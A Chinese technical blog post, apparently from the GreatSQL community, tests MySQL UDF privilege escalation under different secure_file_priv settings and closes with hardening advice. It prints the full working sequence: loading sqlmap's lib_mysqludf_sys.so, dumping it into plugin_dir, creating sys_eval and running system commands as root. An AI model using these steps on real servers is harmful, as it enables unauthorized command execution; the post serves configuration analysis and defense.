MySQL UDF 提權初探
對 MySQL UDF 提權做一次探究,什麼情況下可以提權,提取的主機許可權是否跟mysqld程序啟動的主機賬號有關
資料庫資訊
MySQL資料庫版本:5.7.21
UDF
UDF:(User Defined Function) 使用者自定義函式,MySQL資料庫的初衷是用於方便使用者進行自定義函式,方便查詢一些複雜的資料,同時也有可能被攻擊者利用,使用udf進行提權。
提權原理:攻擊者透過編寫呼叫cmd或者shell的共享庫檔案(window為.dll,linux為.so),並且匯入到一個指定的資料夾目錄下,建立一個指向共享庫檔案的自定義函式,從而在資料庫中的查詢就等價於在cmd或者shell中執行命令。
執行過程:本質上還是利用了MySQL能夠執行系統命令的特點。具體過程如下
(1)攻擊者編寫一些可以呼叫cmd或者shell的共享庫檔案(window為.dll,linux為.so),將共享庫匯入指定的函式目錄中。
(2)在MySQL中建立指向共享庫檔案的自定義函式。
(3)透過剛剛建立的函式執行系統命令,實現提權。
漏洞詳情
當mysql配置secure_file_priv項為空或者secure_file_priv項為plugin資料夾,且可以用弱口令登入資料庫,存在udf提權漏洞。
-
檢視漏洞利用條件:secure_file_priv為空或者為plugin資料夾,可以登入資料庫,存在plugin資料夾
-
將udf.so檔案匯入相關plugin資料夾下
-
使用udf建立自定義函式
Create function sys_eval returns string soname ‘udf.so’; -
使用自定義函式執行任意程式碼執行:
獲取so檔案
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
$ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/
-rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so
-rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
root賬號拉起mysqld程序
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#匯入so檔案成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#建立自定義函式成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | /home/mysql/ |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#建立中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#匯入so檔案成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#匯出so檔案到secure_file_priv
mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
#透過plugin的so建立自定義函式失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致)
#plugin_dir路徑下有so檔案了
#直接建立自定義函式
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root |
+--------------------+
1 row in set (0.02 sec)
secure_file_priv=null
mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | null |
+------------------+-------+
1 row in set (0.01 sec)
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#建立中間表
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
#匯入so檔案成功
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下失敗
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
#透過plugin的so建立自定義函式失敗
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
普通賬號拉起mysqld程序
secure_file_priv=''
mysql> show variables like '%secure_file_priv%';
+------------------+----------------+
| Variable_name | Value |
+------------------+----------------+
| secure_file_priv | |
+------------------+----------------+
mysql> show variables like '%plugin%';
+-------------------------------+------------------------------------+
| Variable_name | Value |
+-------------------------------+------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /mysql/svr/mysql5721/lib/plugin/ |
+-------------------------------+------------------------------------+
#匯入so檔案成功
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)
mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.01 sec)
#匯出so檔案到plugin_dir下成功
mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.01 sec)
#建立自定義函式成功
mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
#呼叫函式成功
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.06 sec)
餘下的幾種secure_file_priv=dirname(secure_file_priv和plugin_dir路徑不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路徑一致),secure_file_priv=null得出的結果是類似的,這裡就不詳細繼續闡述了,全部寫完可能篇數稍長。
總結
-
secure_file_priv
- ''(empty string),不限制匯入和匯出的目錄。只需將so寫到plugin_dir,能建立so自定義函式。存在漏洞風險
- dirname(指定目錄),限制匯入和匯出為指定目錄。如果指定的目錄和plugin_dir相同,能正常建立so自定義函式,存在漏洞風險;否則不能建立so自定義函式
- null,禁止匯入和匯出操作,不存在漏洞風險
-
提權賬號
無論採用哪種方式啟動資料庫(systemctl start mysql、mysqld、mysqld_safe),提權後的賬號根據mysqld程序uid確定$ ps -ef|head -1;ps -ef |grep 5721 UID PID PPID C STIME TTY TIME CMD root 18371 11890 1 17:33 pts/21 00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
-
資料庫賬號的許可權
目標端需要能執行select...into dumpfile、建立函式許可權
建議
- 使用普通賬號啟動資料庫(配置檔案中--user=mysql)
- secure_file_priv設定為null,禁止匯入和匯出操作;如果需要匯入和匯出,將secure_file_priv設定為非plugin_dir目錄
- 資料庫密碼儘量複雜
- 關注plugin_dir是否有新增的不明來源的.so檔案和關注資料庫是否有新增不明來源的自定義函式
Enjoy GreatSQL 😃
關於 GreatSQL
GreatSQL是適用於金融級應用的國內自主開源資料庫,具備高效能、高可靠、高易用性、高安全等多個核心特性,可以作為MySQL或Percona Server的可選替換,用於線上生產環境,且完全免費併相容MySQL或Percona Server。
相關連結: GreatSQL社群 Gitee GitHub Bilibili
GreatSQL社群:
社群部落格有獎徵稿詳情:https://greatsql.cn/thread-100-1-1.html
技術交流群:
微信:掃碼新增
GreatSQL社群助手
微信好友,傳送驗證資訊加群
。